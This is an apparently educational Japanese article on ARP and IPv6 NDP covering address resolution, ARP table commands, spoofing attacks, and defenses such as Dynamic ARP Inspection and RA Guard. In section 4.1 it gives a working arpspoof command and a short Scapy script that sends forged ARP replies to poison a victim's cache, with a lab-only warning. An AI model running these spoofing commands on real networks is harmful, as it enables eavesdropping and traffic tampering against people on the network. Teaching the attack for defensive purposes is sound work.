1. ARPとは?
ARP(Address Resolution Protocol)は、
IPアドレス ↔ MACアドレスの対応関係を解決するプロトコルです。
- ネットワーク層(IP)とデータリンク層(Ethernetなど)の橋渡し役
- LAN内で「このIPは誰?」とブロードキャスト → 該当ホストがMACを返す
イメージ:
IP = 部屋番号
MAC = 顔写真
ARP = 「部屋番号〇〇の人は誰?」と呼びかけて「私です」と返事する仕組み。
2. ARPの仕組み
2.1 基本動作
-
送信元PCは、相手のIPは知っているがMACは知らない
-
ブロードキャストで ARPリクエスト を送信
「192.168.1.1 は誰? MACを教えて!」
-
対応するIPを持つ機器が ARPリプライ を返答
「192.168.1.1 は私。MACは 00:11:22:33:44:55 です」
-
送信元PCはこの情報を ARPキャッシュ(テーブル) に保存し、以降は直接MAC宛に送信
2.2 ARPテーブルの性質
- 動的エントリ:ARP通信で学習、自動的に追加・削除される(一定時間で消える)
- 静的エントリ:管理者が手動登録、削除するまで残る
2.3 特殊なARPの動き
Proxy ARP
- あるIPに対するARPリクエストに、代理でルータが応答する仕組み
- 利用シーン:サブネットを意識せず通信させたい場合(古いネットワーク環境など)
- 問題点:セキュリティ上のリスク(偽のProxy ARPによる攻撃に利用され得る)
Gratuitous ARP
- 「誰かに聞かれていないのに」自分のIPとMACを ブロードキャストで通知する仕組み
- 利用シーン:
- IPアドレスの重複検知(同じIPを持つ機器がいたら反応が返る)
- Failover時のARPキャッシュ更新(HA構成のルータ切替など)
- 問題点:悪用するとARPスプーフィングの一種に
2.4 ARPパケットのフォーマット(概要)
+---------------------+---------------------+
| ハードウェア種別 | プロトコル種別 |
+---------------------+---------------------+
| ハードウェア長 | プロトコル長 |
+---------------------+---------------------+
| オペレーション(1=Req,2=Rep) |
+---------------------+---------------------+
| 送信元MACアドレス |
+---------------------+---------------------+
| 送信元IPアドレス |
+---------------------+---------------------+
| 宛先MACアドレス |
+---------------------+---------------------+
| 宛先IPアドレス |
+------------------------------------------+
3. ARPテーブル確認・改修(Linux/macOS)
# 確認
arp -a
ip neigh show
# 静的ARP追加
sudo arp -s 192.168.1.1 00:11:22:33:44:55
sudo ip neigh add 192.168.1.1 lladdr 00:11:22:33:44:55 dev en0
# 削除
sudo arp -d 192.168.1.1
sudo ip neigh del 192.168.1.1 dev en0
# 全削除
sudo ip neigh flush all
4. ARPスプーフィングとは?
攻撃者が「私はルータ(ゲートウェイ)のMACだ」と 偽のARP応答 を送り、
被害者のARPテーブルを書き換えて通信を奪う攻撃。
目的:盗聴(Sniffing)、改ざん、通信遮断(DoS)
攻撃例:Man-in-the-Middle (MITM) 攻撃
攻撃フロー図(簡易)
4.1 ARPスプーフィングの実現(実験環境限定)
専用ツール
arpspoof(Kali Linux に入っている dsniff パッケージ)
# Kali Linux (dsniff パッケージ)
sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1
→ 被害者 192.168.1.100 に対して「ゲートウェイ(192.168.1.1)は私だよ」と偽装
ettercap
GUI/CLIでARPスプーフィングとMITMを簡単に実現
Python + Scapy(教育用)
from scapy.all import ARP, send
victim_ip = "192.168.1.100"
gateway_ip = "192.168.1.1"
arp_response = ARP(op=2, pdst=victim_ip, hwdst="ff:ff:ff:ff:ff:ff", psrc=gateway_ip)
send(arp_response, loop=1, inter=2)
⚠️ 実ネットワークでは違法行為になるため、必ず 仮想環境やTryHackMeなどの演習環境 でのみ実行してください。
5. ARPスプーフィング阻止の対策
| 対策 | 効果 | デメリット |
|---|---|---|
| 静的ARP | 高 | 大規模環境では管理困難 |
| arpwatch / XArp | 中 | 検知止まり |
| Dynamic ARP Inspection | 高 | 高価スイッチ依存 |
| VPN/TLS暗号化 | 中 | オーバーヘッド発生 |
| VLAN分離 | 中 | 構成変更が必要 |
| IDS/IPS(Snort等) | 高 | 導入コスト大 |
6. IPv6ではARPはどうなる? → NDPへ
IPv6ではARPは廃止され、代わりに Neighbor Discovery Protocol (NDP) が利用されます。
6.1 NDPの役割
- IPv6アドレス ↔ MACアドレス解決
- ルータ発見、アドレス自動設定、重複検知なども担当
- ARPより機能が拡張されている
6.2 ARP vs NDP 比較表
| 項目 | IPv4 (ARP) | IPv6 (NDP) |
|---|---|---|
| アドレス解決 | IP ↔ MAC (ARP Request/Reply) | IPv6 ↔ MAC (Neighbor Solicitation/Advert) |
| 通信方式 | ブロードキャスト | マルチキャスト |
| 追加機能 | なし | ルータ発見、アドレス自動設定、重複検知 |
| 攻撃リスク | ARPスプーフィング | NDPスプーフィング (同様の脅威あり) |
ARPスプーフィング → NDPスプーフィング と、攻撃の形は変わってもリスクは残るため、
IPv6環境でも RA Guard や SEND (Secure NDP) などの対策が必要。
6.3 動作フロー比較(ARP vs NDP)
IPv4 ARP フロー
IPv6 NDP フロー
ポイント
- ARPは ブロードキャスト で全体に聞く
- NDPは マルチキャスト で必要なノードだけに届ける(効率化)
- どちらも「問い合わせ → 応答 → 通信開始」の流れ
7. 攻撃と対策の比較(ARP vs NDP)
| 項目 | IPv4 (ARP) | IPv6 (NDP) |
|---|---|---|
| 主な攻撃手法 | ARPスプーフィング / ARPポイズニング | NDPスプーフィング / Rogue RA(不正ルータ広告) |
| 攻撃の結果 | MITM(盗聴・改ざん)、DoS | MITM、DoS、偽ルータによるトラフィック誘導 |
| 主な検知・防御手段 | 静的ARP、arpwatch、DAI、VPN/TLS | RA Guard、SEND (Secure NDP)、VPN/TLS |
| ネットワーク機器対策 | Dynamic ARP Inspection (DAI) | RA Guard、DHCPv6 Guard |
| 家庭LANでの対策 | arpwatch + ゲートウェイ固定 + VPN | ルータでRA Guardを有効化 + VPN |
8. 実践シナリオ別の推奨対策
-
エンタープライズ環境
- IPv4:Dynamic ARP Inspection (DAI) + DHCP Snooping
- IPv6:RA Guard + SEND
- VLANでネットワーク分離、IDS/IPSによる検知
-
家庭LAN / 小規模環境
- IPv4:
arpwatchで監視、ゲートウェイを静的ARPで固定 - IPv6:ルータでRA Guardを有効化、VPN/TLSで通信暗号化
- IPv4:
まとめ
- ARPはIPv4で必須、IPv6ではNDPに置き換え
- どちらも「偽の応答にだまされる」攻撃リスクあり
- 防御の基本は「制御・監視・暗号化」
- 企業:DAI / RA Guard / IDS/IPS
- 家庭:arpwatch / VPN